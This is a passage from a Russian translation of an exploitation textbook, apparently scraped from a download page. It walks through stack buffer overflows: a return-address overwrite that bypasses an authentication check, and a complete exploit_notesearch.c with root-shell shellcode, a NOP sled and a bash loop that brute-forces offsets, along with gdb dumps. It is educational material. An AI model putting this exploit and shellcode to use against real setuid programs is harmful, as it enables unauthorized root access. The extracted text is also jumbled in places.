Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
Скачать 2.5 Mb.
|
/booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c reader@hacking:157/booksrc $ ./overflow_example $(perl -e ‘print “A”x20 . “\ |
xef\xbe\xad\xde”’)
[BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’
[BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 24 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains ‘AAAAAAAAAAAAAAAAAAAA??’
[AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAA??’
[AFTER] value is at 0xbffff7f4 and is -559038737 (0xdeadbeef)
reader@hacking:
0x08048475
0x08048477
0x08048484
0x0804848a
0x0804848d
0x0804848f
0x08048493
0x0804849f
0x080484ab
0x080484ae
0x080484b3
0x080484b6
0x080484bb
0x080484bd
0x080484bf
158
0x300 Эксплойты
0x080484c6
0x080484cb
0x080484d2
0x080484d7
0x080484de
0x080484e3
0x080484e5
0x080484ec
0x080484f1
0x080484f2
End of assembler dump.
(gdb)
Участок кода, выделенный полужирным, содержит инструкции для вывода сообщения «Access Granted». Его начало расположено по адре- су 0x080484bf, поэтому если записать это значение в адрес возврата, бу- дет выполнен данный блок команд. Точное расстояние между адресом возврата и началом password_buffer может меняться в зависимости от версии компилятора и флагов оптимизации. Если начало буфера вы- ровнено в стеке по границе двойного слова (DWORD), этот сдвиг мож- но компенсировать путем многократного повторения адреса возвра- та. В результате какое-нибудь из повторяющихся значений заместит адрес возврата, даже если он смещен из-за включенных оптимизаций.
reader@hacking:/booksrc $ ./auth_overflow2 $(perl -e ‘print “\xbf\x84\x04\
x08”x10’)
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (core dumped)
reader@hacking:/booksrc $
В приведенном примере нужный адрес 0x080484bf повторен 10 раз, что- бы гарантировать запись нужного адреса на место адреса возврата. При возврате из функции check_authentication() выполнение перейдет по новому адресу, а не по адресу команды, следующей за вызовом функ- ции. Это расширяет наши возможности управления, однако мы по- прежнему ограничены использованием тех команд, которые есть в ис- ходной программе.
Программа notesearch имеет уязвимость в виде переполнения буфера в строке, ниже выделенной полужирным.
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor char searchstring[100];
if(argc > 1) // Если есть аргумент,
strcpy(searchstring, argv[1]); // это строка для поиска;
else // в противном случае,
searchstring[0] = 0; // строка для поиска пуста.
0x330 Эксперименты с BASH
159
В эксплойте для notesearch используется аналогичный прием, чтобы переполнить буфер и изменить адрес возврата; однако при этом в па- мять вводятся собственные команды, а потом им передается управле- ние. Эти инструкции называются шелл-кодом (shellcode), и они требу- ют, чтобы программа восстановила права доступа и открыла приглаше- ние командной оболочки. В случае программы notesearch последствия будут особенно катастрофическими, поскольку она выполняется с уста- новленным битом suid root. Поскольку эта программа предназначена для многопользовательского доступа, она выполняется с более высо- кими правами, чтобы иметь доступ к своему файлу данных, но логика программы лишает пользователей возможности использовать эти более высокие права для иных действий, помимо обращения к этому файлу данных – во всяком случае, таков ее замысел.
Но при возможности ввести собственные команды как результат пе- реполнения буфера, изменив порядок выполнения, логика програм- мы оказывается бесполезной. Этот прием позволяет заставить програм- му делать то, что не предусмотрено ее кодом, при сохранении высоких прав доступа, с которыми она была запущена. Это опасная комбина- ция, позволяющая эксплойту получить оболочку root. Рассмотрим этот эксплойт подробно.
reader@hacking:/booksrc $ gcc -g exploit_notesearch.c reader@hacking:/booksrc $ gdb -q ./a.out
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) list 1 1 #include
2 #include
3 #include
4 char shellcode[]=
5 “\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
6 “\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
7 “\xe1\xcd\x80”;
8 9 int main(int argc, char *argv[]) {
10 unsigned int i, *ptr, ret, offset=270;
(gdb)
11 char *command, *buffer;
12 13 command = (char *) malloc(200);
14 bzero(command, 200); // Обнулить новую память.
15 16 strcpy(command, “./notesearch \’”); // Начало буфера команды.
17 buffer = command + strlen(command); // Поместить буфер в конце.
18 19 if(argc > 1) // Задать смещение.
20 offset = atoi(argv[1]);
(gdb)
21
160
0x300 Эксплойты
22 ret = (unsigned int) &i - offset; // Задать адрес возврата.
23
24 for(i=0; i < 160; i+=4)
// Заполнить буфер адресом возврата
25 *((unsigned int *)(buffer+i)) = ret;
26 memset(buffer, 0x90, 60);
// Построить NOP-цепочку.
27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
28 29 strcat(command, “\’”);
30
(gdb) break 26
Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26.
(gdb) break 27
Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27.
(gdb) break 28
Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28.
(gdb)
Эксплойт notesearch.c генерирует буфер в строках с 24 по 27 (выделе- ны полужирным). Вначале действует цикл for, который заполняет бу- фер 4-байтным адресом, находящимся в переменной ret. При каждом проходе цикла переменная i наращивается на 4. Это число добавляется к адресу буфера, и результат приводится к типу указателя на беззнако- вое целое. Оно имеет размер 4 байта, поэтому при разыменовании про- исходит запись всего 4-байтного значения, находящегося в ret.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:26 26 memset(buffer, 0x90, 60); // Построить NOP-цепочку
(gdb) x/40x buffer
0x804a016: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a026: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a036: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a046: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
(gdb) x/s command
0x804a008: “./notesearch
‘
¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ
¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶û
ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿
”
(gdb)
0x330 Эксперименты с BASH
161
В первой точке останова находим в буфере результат работы цикла for.
Видна также связь между указателем на команду и указателем на бу- фер. Следующая команда – вызов функции memset(), которая записы- вает в 60 байт с начала буфера значение 0x90.
(gdb) cont
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:27 27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
(gdb) x/40x buffer
0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a046: 0x90909090 0x90909090 0x90909090 0xbffff6f6 0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
(gdb) x/s command
0x804a008: “./notesearch ‘”, ‘\220’
¶ûÿ¿¶ûÿ¿¶û
ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶
ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿
”
(gdb)
В заключение с помощью функции memcpy() байты шелл-кода копиру- ются в buffer+60.
(gdb) cont
Continuing.
Breakpoint 3, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:29 29 strcat(command, “\’”);
(gdb) x/40x buffer
0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090 0x804a046: 0x90909090 0x90909090 0x90909090 0x3158466a
0x804a056: 0xcdc931db 0x2f685180 0x6868732f 0x6e69622f
0x804a066: 0x5351e389 0xb099e189 0xbf80cd0b 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
(gdb) x/s command
0x804a008: “./notesearch ‘”, ‘\220’
“1
À
1
Û
1
É\
231
°¤Í\
200j
\
vXQh
//
shh
/
bin
\211ãQ\211âS\211áÍ\200¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶û
ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿
”
(gdb)
162
0x300 Эксплойты
Теперь в буфере находится наш шелл-код, достаточно длинный, что- бы заместить адрес возврата. Сложность определения точного место- положения адреса возврата компенсируется многократным повторе- нием его нового значения. Но это значение адреса возврата должно указывать на шелл-код, располагающийся в том же буфере. Значит, чтобы поместить фактический новый адрес в память, нужно сначала выяснить его. Это может быть нелегко, поскольку стек динамически меняется.
К счастью, есть еще один хакерский прием, называемый NOP-це поч-
ками, который поможет нам справиться с этой трудностью. NOP в ас- семблере означает просто отсутствие операции (no operation). Это команда длиной в один байт, которая абсолютно ничего не делает.
Она иногда используется для создания холостых циклов при синхро- низации и действительно необходима в архитектуре процессора Sparc для конвейера команд.
В нашем случае команды NOP будут использоваться с другой целью: для мошенничества. Мы создадим длинную цепочку команд NOP и по- местим ее перед шелл-кодом, и тогда если EIP возвратится по любо- му адресу, входящему в NOP-цепочку, то он будет увеличиваться, по- очередно выполняя каждую команду NOP, пока не доберется до шелл- кода.
Это значит, что если адрес возврата переписать любым из адресов, входящих в NOP-цепочку, то EIP соскользнет вниз по цепочке до шелл-кода, который выполнится, а нам только того и надо.
Команда NOP в архитектуре x86 эквивалентна числу 0x90. В результате готовый буфер эксплойта будет выглядеть примерно так:
NOP-цепочка
Шелл-код
Повторяющийся адрес возврата
Но даже при использовании NOP-цепочки нужно заранее определить примерное местонахождение буфера в памяти. Один из приемов, по- зволяющих это сделать, – использовать в качестве базы один из сосед- них адресов в стеке. Вычитая из этого адреса смещение, можно полу- чить относительный адрес любой переменной.
Фрагмент exploit_notesearch.c
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Обнулить новую память.
strcpy(command, “./notesearch \’”); // Начало буфера команды.
buffer = command + strlen(command); // Поместить буфер в конце.
0x330 Эксперименты с BASH
163
if(argc > 1) // Задать смещение.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Задать адрес возврата.
В эксплойте notesearch в качестве отправной точки использован адрес переменной i в кадре стека функции main(). Из него вычитается смеще- ние, и результат принимается за искомый адрес возврата. Смещение было задано ранее как 270, но откуда взялось это число?
Проще всего определить смещение экспериментально. Отладчик при запуске в нем программы notesearch с битом suid root несколько сме- щает память и сбрасывает права доступа, что делает его применение в данной ситуации довольно бесполезным.
Поскольку эксплойт notesearch позволяет задать смещение в качестве необязательного аргумента командной строки, можно быстро прове- рить разные значения смещения.
reader@hacking:/booksrc $ gcc exploit_notesearch.c reader@hacking:/booksrc $ ./a.out 100
-------[ end of note data ]------- reader@hacking:/booksrc $ ./a.out 200
-------[ end of note data ]------- reader@hacking:/booksrc $
Однако глупо делать эту скучную операцию вручную. В BASH тоже есть цикл for, позволяющий автоматизировать данный процесс. Ко- манда seq – это простенькая программа, генерирующая последователь- ность чисел, которые обычно используются в циклах.
reader@hacking:/booksrc $ seq 1 10 1
2 3
4 5
6 7
8 9
10
reader@hacking:/booksrc $ seq 1 3 10 1
4 7
10
reader@hacking:/booksrc $
Если аргументов только два, генерируются все числа между первым и вторым аргументами. Если аргументов три, то средний из них опре-
164
0x300 Эксплойты деляет, насколько должно происходить увеличение каждый раз. С по- мощью подстановки команд можно организовать цикл for в BASH.
reader@hacking:/booksrc $ for i in $(seq 1 3 10)
> do
> echo The value is $i
> done
The value is 1
The value is 4
The value is 7
The value is 10
reader@hacking:/booksrc $
Действие цикла for должно быть понятно, несмотря на некоторые син- таксические отличия. Переменная оболочки $i пробегает все значе- ния, подставляемые вместо символов обратной кавычки (генерируе- мые seq).
Затем выполняется все, что находится между ключевыми словами do и done. Таким способом мы сможем быстро проверить множество раз- личных смещений. Так как длина NOP-цепочки 60 байт, и можно вер- нуться в любое ее место, отклонение может составлять около 60 байт
Можно смело увеличивать смещение с шагом 30, не рискуя промах- нуться мимо цепочки.
reader@hacking:/booksrc $ for i in $(seq 0 30 300)
> do
> echo Trying offset $i
> ./a.out $i
> done
Trying offset 0
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
После выбора правильного смещения адрес возврата замещается зна- чением, указывающим какое-то место в NOP-цепочке. Когда програм- ма попытается вернуться по адресу возврата, выполнение проскольз- нет по NOP-цепочке до команд шелл-кода. Так и было получено исход- ное смещение.
0x331 Использование окружения
Иногда буфер бывает настолько мал, что в него не помещается даже шелл-код. К счастью, шелл-код можно припрятать и в других местах памяти. Есть так называемые переменные окружения, которые ис- пользуются оболочкой или пользователем с различными целями, но в данном случае интересны не столько эти цели, сколько то, что эти пе- ременные находятся в стеке и их значение может быть установлено из оболочки.
0x330 Эксперименты с BASH
165
В приведенном ниже примере переменной окружения MYVAR присваива- ется значение test. Доступ к переменной окружения выполняется с по- мощью символа доллара, предшествующего ее имени. Есть также ко- манда env, которая выводит все переменные окружения. Обратите вни- мание на ряд переменных окружения, значения которых уже установ- лены по умолчанию.
reader@hacking:/booksrc $ export MYVAR=test reader@hacking:/booksrc $ echo $MYVAR
test reader@hacking:/booksrc $ env
SSH_AGENT_PID=7531
SHELL=/bin/bash
DESKTOP_STARTUP_ID=
TERM=xterm
GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2
WINDOWID=39845969
OLDPWD=/home/reader
USER=reader
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;
33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;4 4:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.
zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.
rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.
pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.
tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.
avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.
flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:
SSH_AUTH_SOCK=/tmp/ssh-EpSEbS7489/agent.7489
GNOME_KEYRING_SOCKET=/tmp/keyring-AyzuEi/socket
SESSION_MANAGER=local/hacking:/tmp/.ICE-unix/7489
USERNAME=reader
DESKTOP_SESSION=default.desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
GDM_XSERVER_LOCATION=local
PWD=/home/reader/booksrc
LANG=en_US.UTF-8
GDMSESSION=default.desktop
HISTCONTROL=ignoreboth
HOME=/home/reader
SHLVL=1
GNOME_DESKTOP_SESSION_ID=Default
LOGNAME=reader
DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-
DxW6W1OH1O,guid=4f4e0e9cc6f68009a059740046e28e35
LESSOPEN=| /usr/bin/lesspipe %s
DISPLAY=:0.0